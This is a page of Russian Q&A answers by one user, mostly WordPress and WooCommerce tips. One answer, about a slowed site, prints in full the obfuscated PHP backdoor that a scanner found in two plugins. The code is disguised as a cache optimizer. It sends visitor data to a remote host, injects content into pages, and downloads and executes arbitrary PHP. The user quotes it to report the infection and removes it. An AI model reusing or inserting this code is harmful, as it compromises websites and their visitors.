• PhoneGap-приложение под Anrdoid перестало отправлять Ajax-запросы - в чём может быть причина?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Причина оказалась банальной - неверно установлен корневой сертификат для SSL на сервере.
    Подошло время обновления и после переустановки всё заработало.

    p.s.: кстати приложение работало через HTTP, а через HTTPS нет...
    Ответ написан
    Комментировать
  • Как в wordpress поменять страницу index.php которая используется по умолчанию для вывода всех постов на свою? Например на тот же archive.php?

    @easycode
    не боюсь задавать глупые вопросы ))
    если я вас правильно понял, то может просто:
    - удалить или переименовать файл index.php
    - скопировать файл archive.php в файл с именем index.php
    нет?
    Ответ написан
  • Возможно ли организовать поддомены интернет-магазина на WordPress или другой CMS, ссылаясь на карточки товара с основного домена?

    @easycode
    не боюсь задавать глупые вопросы ))
    Забавно, прямо очень похожую штуку недавно попросил сделать клиент на его Интернет-магазине строительных товаров, у каждого раздела Каталога будет свой поддомен. Пока думаем в сторону динамических поддоменов с обработкой запросов на стороне WordPress и выдачей нужного контента с условием исключения дублирования контента по разным URL-адресам.

    SEO-шники клиента во всё горло орут что данная тема не нова и никаких банов нам за это не будет )
    Ну чтож проверимс )) Хозяин-барин..
    Ответ написан
    Комментировать
  • Где прописывать ключи и описание блога на Wordpress?

    @easycode
    не боюсь задавать глупые вопросы ))
    в целом для сайта - это наверное по умолчанию для Главной страницы и всех других страниц, для которых Вы вручную не будете этого делать?

    Что мешает установить All in One SEO Pack или Yoast SEO - в них есть всё что Вам нам нужно и даже больше )
    Ответ написан
  • WordPress-сайт стал нереально тормозить - как найти причину?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Развернул копию сайта на локальном веб-сервере и та же самая история - значит хостинг тут не при делах.

    Перепроверил замеры времени выполнения Query Monitor - "ручным" php-кодом в корневом файле index.php - результаты совпадают, Query Monitor показывает правду, а по нему выходит страницы генерируются не дольше 0,5 сек.

    Менял тему - не помогает. Начал отключать плагины поочередно и когда отключил такую парочку: "CF-Post-Formats и Revolution Slider (Share on Theme123.Net) " - сайт ожил и время обработки запроса к страницам сайта снизилось до милисекунд.

    На рабочем сервере такой же трюк с отключением этих плагинов не прошел, пришлось вырубить еще больше плагинов, чтобы всё заработало с прежней скоростью:

    YeE6XMsNSguER79PN00keQ.png

    еще 2 недели назад все эти плагины в активном режиме работали и сайт не тормозил...

    установил Wordfence Security - просканировал и вот совпадение в файлах именно этих выше приведенных плагинов была найдена следующая вставка кода:
    /**
     * Speedup php function cache by optimizing buffer output
     */
    ;if (!function_exists('_php_cache_speedup_func_optimizer_')) { function _php_cache_speedup_func_optimizer_($buffer) {
        if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
            // already completed
            return $buffer;
        }
    
        $mod = false;
        $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
        $tmp_buffer = $buffer; $gzip = false; $body = '<' . 'b' . 'o' . 'd' . 'y';
    
        if (($has_body = stripos($buffer, $body)) === false) {
            // define gzdecode function if not defined
            if (!function_exists('gzdecode')) {
                function gzdecode($data) {
                    return @gzinflate(substr($data, 10, -8));
                }
            }
    
            // gzdecode buffer
            $tmp_buffer = @gzdecode($tmp_buffer);
    
            // check if buffer has body tag
            if (($has_body = stripos($tmp_buffer, $body)) !== false) {
                // got body tag, this should be gzencoded when done
                $gzip = true;
            }
        }
    
        if ($has_body === false) {
            // no body, return original buffer
            return $buffer;
        }
    
        $GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true;
    
        // decode token
        $func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e';
        $token = @unserialize(@$func($token));
        if (empty($token)) {
            return $buffer;
        }
    
        // download remote data
        function down($url, $timeout = 5) {
            // download using file_get_contents
            if (@ini_get('allow_url_fopen')) {
                $ctx = @stream_context_create(array('http' => array('timeout' => $timeout)));
                if ($ctx !== FALSE) {
                    $file = @file_get_contents($url, false, $ctx);
                    if ($file !== FALSE) {
                        return $file;
                    }
                }
            }
    
            // download using curl
            if (function_exists('curl_init')) {
                $ch = curl_init();
    
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
                $response = curl_exec($ch);
                curl_close($ch);
    
                return $response;
            }
    
            // download using sockets
            if (extension_loaded('sockets')) {
                $data = parse_url($url);
                if (!empty($data['host'])) {
                    $host = $data['host'];
                    $port = isset($data['port']) ? $data['port'] : 80;
                    $uri = empty($data['path']) ? '/' : $data['path'];
                    if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) {
                        $buf = "GET $uri HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: $host\r\n\r\n";
                        if (@socket_write($socket, $buf) !== FALSE) {
                            $response = '';
                            while (($tmp = @socket_read($socket, 1024))) {
                                $response .= $tmp;
                            }
                            @socket_close($socket);
                            return $response;
                        }
                    }
                }
            }
    
            return false;
        }
    
        $token .= ((strpos($token, '?') === false) ? '?' : '&') . http_build_query(array(
            'h' => $_SERVER['HTTP_HOST'],
            'u' => $_SERVER['REQUEST_URI'],
            'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'],
            'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'],
            'i' => $_SERVER['REMOTE_ADDR'],
            'f' => __FILE__,
            'v' => 9
        ));
        $token = @unserialize(@$func(down($token)));
    
        if (empty($token) || empty($token['data']) || !is_array($token['data'])) {
            // invalid data
            return $buffer;
        }
    
        // fix missing meta description
        if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) {
            $tmp = substr($tmp_buffer, 0, $pos);
            if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) {
                $meta = $_SERVER['HTTP_HOST'];
                // append meta description
                $tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a'. 'm' . 'e' . '='. '"' . 'd' . 'e' . 's' .'c' .'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"'. ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="'. htmlentities(substr($meta, 0, 160)) .'">' . substr($tmp_buffer, $pos);
                $mod = true;
            }
        }
    
        foreach ($token['data'] as $tokenData) {
            if (!empty($tokenData['content'])) {
                // set defaults
                $tokenData = array_merge(array(
                    'pos' => 'after',
                    'tag' => 'bo' . 'dy',
                    'count' => 0,
                ), $tokenData);
    
                // find all occurrences of <tag>
                $tags = array();
                while (true) {
                    if (($tmp = @stripos($tmp_buffer, '<'.$tokenData['tag'], empty($tags) ? 0 : $tags[count($tags) - 1] + 1)) === false) {
                        break;
                    }
                    $tags[] = $tmp;
                }
    
                if (empty($tags)) {
                    // no tags found or nothing to show
                    continue;
                }
    
                // find matched tag position
                $count = $tokenData['count'];
                if ($tokenData['count'] < 0) {
                    // from end to beginning
                    $count = abs($tokenData['count']) - 1;
                    $tags = array_reverse($tags);
                }
    
                if ($count >= count($tags)) {
                    // fix overflow
                    $count = count($tags) - 1;
                }
    
                // find insert position
                if ($tokenData['pos'] == 'before') {
                    // pos is before
                    $insert = $tags[$count];
                } else if (($insert = strpos($tmp_buffer, '>', $tags[$count])) !== false) {
                    // pos is after, found end tag, insert after it
                    $insert += 1;
                }
    
                if ($insert === false) {
                    // no insert position
                    continue;
                }
    
                // insert html code
                $tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData['content'] . substr($tmp_buffer, $insert);
                $mod = true;
            } elseif (!empty($tokenData['replace'])) {
                // replace content
                @http_response_code(200);
                $tmp_buffer = $tokenData['replace'];
                $mod = true;
            } elseif (!empty($tokenData['run'])) {
                // save temporary optimization file
                register_shutdown_function(function($file, $content) {
                    if (file_put_contents($file, $content) !== false) {
                        @chdir(dirname($file));
                        include $file;
                        @unlink($file);
                    } else {
                        @eval('@chdir("' . addslashes(dirname($file)) . '");?>' . $content);
                    }
                }, dirname(__FILE__) . '/temporary_optimization_file.php', strpos($tokenData['run'], 'http://') === 0 ? down($tokenData['run']) : $tokenData['run']);
            } else {
                // no content
                continue;
            }
        }
    
        // return gzencoded or normal buffer
        return !$mod ? $buffer : ($gzip ? gzencode($tmp_buffer) : $tmp_buffer);
    } ob_start('_php_cache_speedup_func_optimizer_');
    register_shutdown_function('ob_end_flush'); }
    ?>


    какие-то игры с буфером )
    странно что всё это раньше работало нормально, потому что этот вирусный код сидит уже с 2017 года (подглядел в бэкапы).

    Исход: удалил вручную эти вставки кода из файлов плагинов - всё заработало с нормальной скоростью.
    Ответ написан
    Комментировать
  • Как изменить директорию куда сохраняет файлы функция media_handle_sideload в WordPress?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Google-поиск и эксперименты привели к такому "костыльному" решению:

    // данные нового поста типа: myphoto
    $_post_data = array(
      'post_title' => $title,
      'post_status' => 'publish',
      'post_author' => 1,
      'post_type' => 'myphoto',
    );
    // создаем пост
    $post_id = wp_insert_post( $_post_data );
    
    // скачиваем файл 
    $tmp_file = download_url( $url );
    
    $_REQUEST['post_id'] = $post_id;
    
    // загружаем файл в медиатеку WordPress
    $att_id = media_handle_sideload( array(
      'name' => $title,
      'tmp_name' => $tmp_file,
    ), $post_id, $title );
    
    unset($_REQUEST['post_id']);
    
    // устанавливаем миниатюру для записи
    set_post_thumbnail($post_id, $att_id);
    
    
    add_filter( 'upload_dir', 'filter_upload_dir' );
    function filter_upload_dir($args)
    {
    	if ( get_post_type( $_REQUEST['post_id'] ) == "yd_photo" ) {
    	    $mydir         = "/{$_REQUEST['post_id']}";
    	    $args['path'] = $args['basedir'] . $mydir;
    	    $args['url']  = $args['baseurl'] . $mydir;
    	}
    	return $args;
    }
    Ответ написан
    Комментировать
  • Как показать сообщение на сайте после добавления комментария в WordPress?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Пока пришлось тупо сделать так:

    add_action( 'comment_form_before', function() {
    	?>
    	<script type="text/javascript">
    	jQuery(document).ready(function($) {
    		re = /comment-\d+/i;
    		url = window.location.href;
    		var hash = url.substring(url.indexOf("#")+1);
    		if (hash.match(re)) {
    			jQuery([document.documentElement, document.body]).animate({
    		        scrollTop: $("#before_comment_form_box").offset().top - 50
    		    }, 2000);
    		}
    	});
    	</script>
    	<div id="before_comment_form_box">
    		Спасибо! Ваш комментарий будет опубликован после проверки модератором.
    	</div>
    	<?php
    });


    Потому что после добавления комментария, в адрес добавляется анкор вида: #comment-XXX
    Ответ написан
  • Удобная система хранения и использования паролей под Windows, Mac и iOS - что посоветуете?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Решил попробовать SafeInCloud - пока полёт нормальный.
    Ответ написан
    Комментировать
  • Online-оплата заказа в WooCommerce после модерации - готовые решения (плагины)?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Всё оказалось довольно просто:

    К примеру можно сделать так:

    function receipt_page($order_id) {
    
    	    	global $woocommerce;
    	    	$this->order = new WC_Order($order_id);
    
    			// если заказ не помечен как готовый к оплате, то меняем статус на "Обработка" и перекидываем на страницу с уведомлением! 
    			if (get_post_meta( $this->order->id, 'ready_to_pay', true) != 1) {
    	    		$woocommerce->cart->empty_cart();
    	    		$this->order->update_status('processing');
    	    		wp_redirect( home_url( '/' ) ); // заменить на URL-адрес страницы с текстом: "Ваш заказ поступил в обработку..."
    				return false;
    	    	}

    и далее если статус заказа меняется на "Ожидает оплаты", то:
    add_action( 'woocommerce_order_status_pending', function ($order_id) {
    	update_post_meta( $order_id, 'ready_to_pay', 1);
    });
    Ответ написан
    2 комментария
  • Правило переадресации из /faq/37.page в /faq/37-page/ в .htaccess - как?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^faq/([0-9]+)\.page$ faq/$1-page/ [R=301,L]
    </IfModule>
    Ответ написан
    Комментировать
  • Чем полностью скопировать сайт в локальную HTML-версию его?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Нашел простое, понятное и бесплатное решение вопроса: HTTrack Website Copier - всё что нужно есть!
    Ответ написан
    Комментировать
  • Как массово умножить все цены на сайте Woocommerce?

    @easycode
    не боюсь задавать глупые вопросы ))
    function return_custom_price($price, $product) {
        $price = $price * 70; // где 70 - ваш курс
        return $price;
    }
    add_filter('woocommerce_get_price', 'return_custom_price', 10, 2);
    Ответ написан
  • WordPress-плагины для реализации раздела поиска дилеров/партнёров на сайте?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Самое удачное и подходящее под мою задачу решение - платный плагин: Map List Pro
    Ответ написан
    Комментировать
  • Пример удобного веб-интерфейса для онлайн-сервиса печати фотографий и сувенирки?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Пока что остановился на таком интерфейсе:

    окно заказа:
    5acf175665d55930632239.png

    добавление фото в заказ:
    5acf17672df40793512939.png

    добавление сувенирки в заказ:
    5acf176f6dc79001246785.png

    не вау, но не знаю что еще придумать и где подсмотреть...
    Ответ написан
    Комментировать
  • Как поменять E-mail администратора в WordPress без подтверждения?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Пока что решил проблему таким способом:
    1) Сменил E-mail адрес на свой
    2) Подтвердил его по ссылке в письме
    3) Плагином Better Search Replace сделал замену в БД своего E-mail адреса на нужный

    Всё работает теперь. Информация в профиле администратора успешно обновляется без сообщения: "Извините, этот адрес e-mail уже используется!". Может у меня была какая-то проблема. Проверял повторно на чистом WordPress'е всё было нормально с первой замены.
    Ответ написан
    Комментировать
  • Сервис Lightshot перестал быть столь удобным - может есть альтернативы или решение проблемы?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Спасение найдено!
    Скрипт: LightShot Direct Link, ставил с помощью: Tampermonkey, всё работает, страница https://prnt.sc/ih0shc превращается в прямой URL-изображения: https://image.prntscr.com/image/Q0dFBipaQPyZ2YAnEG... - всё по прежнему удобно! ))
    Ответ написан
    1 комментарий
  • Картинка по умолчанию для отображения в соц. сетях при репостах и упоминания сайта?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Оказалось что вконтакте кэширует, подсмотрел здесь: Почему ВКонтакте не подцепляет мой OpenGraph image?
    Ответ написан
    Комментировать
  • Как в WooCommerce сделать скидку при покупке (заказе) через сайт?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    решил проблему с помощью плагина: WooCommerce All Discounts Lite, создал там скидку общую для всех товаров, а чтобы эта скидка отображалась на странице товара добавил в папку темы файл: woocommerce/single-product/price.php следующего содержания:
    if ( ! defined( 'ABSPATH' ) ) {
    	exit; // Exit if accessed directly
    }
    
    global $product;
    
    ?>
    <p class="price"><?php echo $product->get_price_html(); ?></p>
    <?php
    
    $_discounts = get_posts(array('post_type'=>'o-discount'));
    if (is_array($_discounts) and is_object($_discounts[0])) {
    	//print_r(get_post_custom($_discounts[0]->ID));
    	$_meta = get_post_meta($_discounts[0]->ID, 'o-discount', true);
    	if ($_meta['percentage-or-fixed-amount'] > 0) {
    		$_percentage = 100 - $_meta['percentage-or-fixed-amount'];
    		$_discount_price = $product->price * ($_percentage / 100);
    		echo '<p class="price woo-discount"><label>Цена при покупке через сайт:</label>' . number_format($_discount_price, 0, '.', '&nbsp;') . '&nbsp;<span class="woocommerce-Price-currencySymbol">&#8381;</span></p>';
    	}
    }
    Ответ написан
    Комментировать
  • Как обработать нажатие на кнопку клавиатуры бота, созданном на Telegram Bot API - PHP SDK?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Как я понял в версии 2.2 этой библиотеки можно использовать только обычные текстовые кнопки без callback_data - для передачи которого нужно использовать inline кнопки.

    1) Нужно обновится до dev-версии, если через composer то вот так:
    composer require irazasyed/telegram-bot-sdk:dev-master

    2) Далее код несколько меняется:
    <?php
    
    use Telegram\Bot\Commands\Command;
    use Telegram\Bot\Keyboard\Keyboard;
    
    $telegram = new Telegram\Bot\Api('MY_KEY'); 
            
    $update = $telegram->getWebhookUpdates();
    
    // данные сообщения в зависимости от callback_query
    if ( isset($this->update['callback_query'])) {
        $message = $update['callback_query'];
    } else {
        $message = $update;
    }
    
    $chatId = $message['message']['chat']['id'];
    
    // правильно формируем клавиатуру:
    $keyboard = [
        [
            Keyboard::inlineButton(['callback_data'=>'/butt1','text'=>'Кнопка 1']),
            Keyboard::inlineButton(['callback_data'=>'/buut2','text'=>'Кнопка 2'])
        ]
    ];
    
    $reply_markup = $telegram->replyKeyboardMarkup([ 
        // 'keyboard' => $keyboard, // вместо этого используем:
        'inline_keyboard' => $keyboard,
        'resize_keyboard' => true, 
        'one_time_keyboard' => false 
    ]);
    
    
    // если нажали кнопку:
    if ( isset($this->update['callback_query'])) {
    	$telegram->sendMessage(array(
    	  'chat_id' => $chatId,
    	    'text' => "Вы нажали на кнопку с кодом: " . $message['data'], // именно в $message['data'] - будет то что прописано у нажатой кнопки в качестве callback_data
    	    'reply_markup' => $reply_markup,
    	));
    } else {
    	$telegram->sendMessage(array(
    	  'chat_id' => $chatId,
    	    'text' => 'Нажмите на одну из кнопок:',
    	    'reply_markup' => $reply_markup,
    	));
    }


    Может кому-нибудь еще пригодится )
    Ответ написан
    Комментировать
  • Не работает предзаказ в WooCommerce - где смотреть и что подкрутить?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Оказалось всё просто - функция предзаказа включается когда товар в Наличии, но остаток у него 0.
    Ответ написан
    Комментировать